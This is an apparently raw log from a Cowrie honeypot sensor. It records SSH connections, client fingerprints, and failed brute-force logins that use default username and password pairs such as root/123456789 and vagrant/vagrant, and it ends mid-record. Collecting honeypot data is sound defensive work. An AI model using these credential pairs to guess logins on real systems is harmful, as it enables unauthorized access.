{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:01.729224Z","src_ip":"192.109.200.78","session":"a441ddd36b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:01.979069Z","src_ip":"192.109.200.78","session":"a441ddd36b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:03.064515Z","src_ip":"192.109.200.78","session":"a441ddd36b0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56932,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f2ace05a411","protocol":"ssh","message":"New connection: 176.65.139.95:56932 (159.203.135.109:22) [session: 9f2ace05a411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:04.499395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:04.504872Z","src_ip":"176.65.139.95","session":"9f2ace05a411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:04.593926Z","src_ip":"176.65.139.95","session":"9f2ace05a411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:04.897084Z","src_ip":"176.65.139.95","session":"9f2ace05a411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49954,"dst_ip":"159.203.135.109","dst_port":22,"session":"747d216f35e0","protocol":"ssh","message":"New connection: 192.109.200.78:49954 (159.203.135.109:22) [session: 747d216f35e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:05.744362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:05.751554Z","src_ip":"192.109.200.78","session":"747d216f35e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:05.840107Z","src_ip":"192.109.200.78","session":"747d216f35e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:05.982669Z","src_ip":"176.65.139.95","session":"9f2ace05a411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:06.100815Z","src_ip":"192.109.200.78","session":"747d216f35e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:07.190378Z","src_ip":"192.109.200.78","session":"747d216f35e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33368,"dst_ip":"159.203.135.109","dst_port":22,"session":"789440d7beea","protocol":"ssh","message":"New connection: 192.109.200.78:33368 (159.203.135.109:22) [session: 789440d7beea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:09.820673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:09.925458Z","src_ip":"192.109.200.78","session":"789440d7beea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:09.932939Z","src_ip":"192.109.200.78","session":"789440d7beea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:10.343357Z","src_ip":"192.109.200.78","session":"789440d7beea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47678,"dst_ip":"159.203.135.109","dst_port":22,"session":"61051b13a7a5","protocol":"ssh","message":"New connection: 176.65.139.95:47678 (159.203.135.109:22) [session: 61051b13a7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:11.127824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:11.136758Z","src_ip":"176.65.139.95","session":"61051b13a7a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:11.222986Z","src_ip":"176.65.139.95","session":"61051b13a7a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:11.428906Z","src_ip":"192.109.200.78","session":"789440d7beea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:11.590299Z","src_ip":"176.65.139.95","session":"61051b13a7a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:12.678421Z","src_ip":"176.65.139.95","session":"61051b13a7a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00100922584534,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:12.844453Z","src_ip":"152.59.179.89","session":"234965c5bddb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33388,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a1d30b31a69","protocol":"ssh","message":"New connection: 192.109.200.78:33388 (159.203.135.109:22) [session: 1a1d30b31a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:14.140402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:14.145013Z","src_ip":"192.109.200.78","session":"1a1d30b31a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:14.226899Z","src_ip":"192.109.200.78","session":"1a1d30b31a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:14.473648Z","src_ip":"192.109.200.78","session":"1a1d30b31a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:15.660712Z","src_ip":"192.109.200.78","session":"1a1d30b31a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47680,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cd65e5e1004","protocol":"ssh","message":"New connection: 176.65.139.95:47680 (159.203.135.109:22) [session: 0cd65e5e1004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:18.146693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:18.154071Z","src_ip":"176.65.139.95","session":"0cd65e5e1004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:18.230494Z","src_ip":"176.65.139.95","session":"0cd65e5e1004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:18.583090Z","src_ip":"176.65.139.95","session":"0cd65e5e1004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53648,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffa26c568ce4","protocol":"ssh","message":"New connection: 192.109.200.78:53648 (159.203.135.109:22) [session: ffa26c568ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:19.307689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:19.316256Z","src_ip":"192.109.200.78","session":"ffa26c568ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:19.399586Z","src_ip":"192.109.200.78","session":"ffa26c568ce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:19.652711Z","src_ip":"192.109.200.78","session":"ffa26c568ce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:19.668614Z","src_ip":"176.65.139.95","session":"0cd65e5e1004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017237663269,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:20.494732Z","src_ip":"152.59.179.89","session":"8f063e753a32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:20.738827Z","src_ip":"192.109.200.78","session":"ffa26c568ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53654,"dst_ip":"159.203.135.109","dst_port":22,"session":"996a1dd307a6","protocol":"ssh","message":"New connection: 192.109.200.78:53654 (159.203.135.109:22) [session: 996a1dd307a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:22.433942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:22.438489Z","src_ip":"192.109.200.78","session":"996a1dd307a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-n